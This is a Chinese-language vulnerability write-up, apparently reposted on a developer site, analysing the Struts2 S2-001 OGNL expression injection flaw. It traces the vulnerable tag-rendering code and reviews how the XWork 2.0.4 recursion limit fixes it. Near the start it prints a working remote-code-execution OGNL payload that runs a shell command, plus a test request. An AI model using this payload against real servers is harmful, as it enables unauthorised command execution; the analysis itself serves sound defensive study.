S2-001 漏洞详细分析

栏目: Struts · 发布时间: 7年前

内容简介:阅读本文需要具备的知识:如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.影响漏洞版本:

0x00 前言

阅读本文需要具备的知识:

  1. 熟悉J2EE开发, 主要是JSP开发
  2. 了解Struts2框架执行流程
  3. 了解Ognl表达式

如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.

0x01 漏洞复现

影响漏洞版本:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)

https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_001

公布的POC:

%{#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new
java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

精简版POC:

%{1+1}

这里我们就用这个最精简的POC,靶机代码在本地运行成功后,我们发送请求:

POST /login.action HTTP/1.1
Host: localhost:8080
Content-Length: 19
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/login.action
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=1478B902172E01647C8DDD6E62390FD1
Connection: close

// password=%{1+1}
password=%25%7B1%2B1%7D

HTTP响应的内容:

HTTP/1.1 200 
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 18 Dec 2018 09:21:30 GMT
Connection: close
Content-Length: 1222

// ... 省略

<form id="login" name="login" onsubmit="return true;" action="/login.action" method="post">
  <table class="wwFormTable">
    <tr>
      <td class="tdLabel">
        <label for="login_password" class="label">password:</label></td>
      <td>
        <input type="text" name="password" value="2" id="login_password" /></td>
    </tr>
    <tr>
      <td colspan="2">
        <div align="right">
          <input type="submit" id="login_0" value="Submit" /></div>
      </td>
    </tr>
  </table>
</form>

注意到input的value属性值为2, 证明成功执行了我们的OGNL表达式%{1+1}, 下面我们开始详细分析。

0x02 漏洞分析

通过官网安全公告,我们大概知道问题是出在textfield自定义标签里,如下是我们的index.jsp部分代码:

<%@taglib prefix="s" uri="/struts-tags" %>

<s:form action="login">
    <s:textfield label="password" name="password"/>
    <s:submit/>
</s:form>

从代码里我们可以看得到,struts2使用了自定义标签库,也就是/struts-tags, 通过阅读 struts2-core-2.0.8.jar!/META-INF/struts-tags.tld 文件,我们得知这个textfield标签实现类是org.apache.struts2.views.jsp.ui.TextFieldTag

public class TextFieldTag extends AbstractUITag {
    private static final long serialVersionUID = 5811285953670562288L;
    protected String maxlength;
    protected String readonly;
    protected String size;

    public TextFieldTag() {
    }

    public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
        return new TextField(stack, req, res);
    }

    protected void populateParams() {
        super.populateParams();
        TextField textField = (TextField)this.component;
        textField.setMaxlength(this.maxlength);
        textField.setReadonly(this.readonly);
        textField.setSize(this.size);
    }

    /** @deprecated */
    public void setMaxLength(String maxlength) {
        this.maxlength = maxlength;
    }

    public void setMaxlength(String maxlength) {
        this.maxlength = maxlength;
    }

    public void setReadonly(String readonly) {
        this.readonly = readonly;
    }

    public void setSize(String size) {
        this.size = size;
    }
}

了解jsp自定义标签的同学应该知道,这时候我们需要找的是doStartTag方法,因为解析标签是从这个方法开始,具体可以参考[2], 通过在TextFieldTag类的ComponentTagSupport父类我们找到doStartTag方法,

public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
    protected Component component;

    public ComponentTagSupport() {
    }

    public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);

    public int doEndTag() throws JspException {
       
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }

    public int doStartTag() throws JspException {
        this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
        Container container = Dispatcher.getInstance().getContainer();
        container.inject(this.component);
        this.populateParams();
        boolean evalBody = this.component.start(this.pageContext.getOut());
        if (evalBody) {
            return this.component.usesBody() ? 2 : 1;
        } else {
            return 0;
        }
    }

    protected void populateParams() {
        this.component.setId(this.id);
    }

    public Component getComponent() {
        return this.component;
    }
}

通过对doStartTag方法分析,得知该方法仅是对标签的部分属性初始化,并不是漏洞成因。 所以我们继续分析,当标签结束后,调用doEndTag方法, 继续跟进

public int doEndTag() throws JspException {
       
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }

这里的end方法是定义在UIbean类中, 跟进end方法实现

public abstract class UIBean extends Component {
	   public boolean end(Writer writer, String body) {

	   	// 我们跟进这个方法的实现
        this.evaluateParams();

        try {
            super.end(writer, body, false);
            this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
        } catch (Exception var7) {
            LOG.error("error when rendering", var7);
        } finally {
            this.popComponentStack();
        }

        return false;
    }

跟进this.evaluateParams方法的实现

public void evaluateParams() {
    // 省略n行代码
    if (...){
 
        // 这个password字符串是解析textfield的name属性得出, 由于代码较多,这里伪代码代替
        String name = "password"

        // 此处是由struts.tag.altSyntax来配置,该属性指定是否允许在Struts2标签中使用OGNL表达式语法
        if (this.altSyntax()) {

            // 将textfield标签的name属性进行拼装, 也就是 exp = "%{password}"
            expr = "%{" + name + "}";
        }

        // UIBaean.java 306行, 跟进this.findValue方法
        this.addParameter("nameValue", this.findValue(expr, valueClazz));
   }
   // 省略n行代码

跟进 this.findValue(this.value, valueClazz)); 函数实现:

public class Component {


    // expr = "%{password}"

    protected Object findValue(String expr, Class toType) {
        if (this.altSyntax() && toType == String.class) {
        	// 跟进该方法
            return TextParseUtil.translateVariables('%', expr, this.stack);
        } else {
            if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
                expr = expr.substring(2, expr.length() - 1);
            }

            return this.getStack().findValue(expr, toType);
        }
    }

跟进 TextParseUtil.translateVariables(‘%’, expr, this.stack); 实现:

public class TextParseUtil {


    public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, null).toString();
    }


    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;


        // 循环执行
        while (true) {

        	// expression= %{password}
        	// 这段代码就是剔除${}, 保留password
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;



            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                // 第一次循环时,var是 password,执行返回结果是%{1+1},
                // 第二次循环时,var是 1+1, 然后成功执行我们的恶意ognl表达式
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }

            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

如注释中所标注,最终在调用OgnlValueStack.findValue()执行了我们的Ognl表达式 1+1 , 对OgnlValueStack不了解的同学,可以参考[3].

好了,分析完成, 漏洞造成原因是由于递归循环,将参数值当做ognl表达式进行执行,从而造成漏洞.

0x03 漏洞细节

1. 为什么执行%{password}表达式,能拿到我们请求的参数值%{1+1}?

该参数值是在ParametersInterceptor.java文件中进行设置的,熟悉Struts2框架的同学会Interceptor应该不陌生,我们看一下这个参数拦截器的实现代码:

public class ParametersInterceptor extends MethodFilterInterceptor {

 
    public String doIntercept(ActionInvocation invocation) throws Exception {

    	// 获取当前请求的action, 也就是LoginAction
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {

            ActionContext ac = invocation.getInvocationContext();

            // 获取当前请求的action的参数, 也就是我们的 password = %{1+1}
            final Map parameters = ac.getParameters();


            // ... 省略n行

            if (parameters != null) {
            	Map contextMap = ac.getContextMap();
                try {
         
                    // ... 省略n行

                    ValueStack stack = ac.getValueStack();

                    // 将参数丢仅stack, 跟进代码实现...
                    setParameters(action, stack, parameters);

                } finally {
                	// ... 
                }
            }
        }
        return invocation.invoke();
    }


    protected void setParameters(Object action, ValueStack stack, final Map parameters) {

        ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
                ? (ParameterNameAware) action : null;

        Map params = null;
        if( ordered ) {
            params = new TreeMap(getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters); 
        }
        
        for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {


            Map.Entry entry = (Map.Entry) iterator.next();
            String name = entry.getKey().toString();

              // ... 省略n行


            if (acceptableName) {

            	// 拿到我们的的%{1+1} 也就是我们的恶意ognl表达式
                Object value = entry.getValue();

                try {

                	// 将我们的参数存放到Ognl Stack中, 
                	// passsword=%{1+1}
                    stack.setValue(name, value);

                } catch (RuntimeException e) {
                  // ...
                }
            }
        }
    } 
}

当你发送请求时,这个拦截器会将参数名及参数值存放到Stack中, 这就是为什么执行%{password}能够拿到我们的${1+1}, 所以漏洞触发必须有的流程:

  1. struts.tag.altSyntax配置为true,默认也就是true.
  2. 能够控制请求参数,及被请求的action中能够解析请求参数,也就是定义了对应的变量及对应的setter方法,如 private String password; , 不然ParametersInterceptor拦截器里获取不到参数.
  3. 跳转的jsp页面需要有个textfield标签, 及标签name属性和参数的key对应.

2. 为什么网上总说从在说Struts2 Validation(表单验证)触发漏洞?

我们上方漏洞触发的必须流程来看,在struts2框架中配置了Validation,如果表单验证失败,必然会跳转到表单提交页面,正好符合我们流程3, 也就是表单提交页面存在textfield标签, 从而触发了漏洞。(一般登录注册处容易出现这样的场景)

0x04 总结

Strtus2框架在开启struts.tag.altSyntax的情况下, 由于Struts2框架将请求参数值当做Ognl表达式执行,从而导致任意代码执行.

0x05 修复方案分析

官方建议Struts升级至2.0.9版本或XWork升级2.0.4版本,上方我们进行分析时,已经得知问题是出在xwork框架中,所以升级xwork版本即可。

我们分析一下修复代码:

  1. struts2 2.0.8源码下载
  2. struts2 2.0.9源码下载

通过分析struts 2.0.9的源码,我们从pom.xml文件中得知,其依赖的xwork包升级为2.0.4 修复了漏洞, 如下:

<dependency>
            <groupId>com.opensymphony</groupId>
            <artifactId>xwork</artifactId>
            <version>2.0.4</version>
 </dependency>

我们分析一下xwork2.0.4是怎么修复的漏洞

  1. XWork 2.0.3 源码下载

  2. XWork 2.0.4 源码下载

TIPS: jar文件解压命令: jar xvf xxx.jar

上方我们分析过程中也是TextParseUtil这个类的translateVariables方法中执行了OGNL表达式,通过代码比较,我们发现2.0.4对TextParseUtil.java文件进行了修改,下方我们看一下2.0.4的代码:

public class TextParseUtil {

    private static final int MAX_RECURSION = 1;


    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {


    	// 加了一个MAX_RECURSION常量
        return translateVariables(open, expression, stack, asType, evaluator, MAX_RECURSION);
    }
    
    /**
     * Converted object from variable translation.
     *
     * @param open
     * @param expression
     * @param stack
     * @param asType
     * @param evaluator
     * @return Converted object from variable translation.
     */
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int loopCount = 1;
        int pos = 0;
        while (true) {


            // 此时expression= %{name}
            int start = expression.indexOf(open + "{", pos);
            if (start == -1) {
                pos = 0;
                loopCount++;
                start = expression.indexOf(open + "{");
            }

            // 增加这段代码最为关键,由于我们已知maxLoopCount=1, 第二次循环时loopCount=2,则break跳出当前循环,从而避免了恶意ognl执行
            // 其实下方注释已经写得很清楚了
            if (loopCount > maxLoopCount ) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                // 译: 阻止无限循环,导致表达式递归计算
                break;
            }


            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (!TextUtils.stringSet(left)) {
                        result = o;
                    } else {
                        result = left + middle;
                    }
    
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + middle + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
                pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                      (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                      1;
                pos = Math.max(pos, 1);
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

通过阅读代码,我们已经知道Struts2官方修复的方式是增加了一个MAX_RECURSION=1常量,判断循环次数,从而避免递归循环导致ognl表达式执行.

0x06 引用


以上所述就是小编给大家介绍的《S2-001 漏洞详细分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Twenty Lectures on Algorithmic Game Theory

Twenty Lectures on Algorithmic Game Theory

Tim Roughgarden / Cambridge University Press / 2016-8-31 / USD 34.99

Computer science and economics have engaged in a lively interaction over the past fifteen years, resulting in the new field of algorithmic game theory. Many problems that are central to modern compute......一起来看看 《Twenty Lectures on Algorithmic Game Theory》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

SHA 加密
SHA 加密

SHA 加密工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试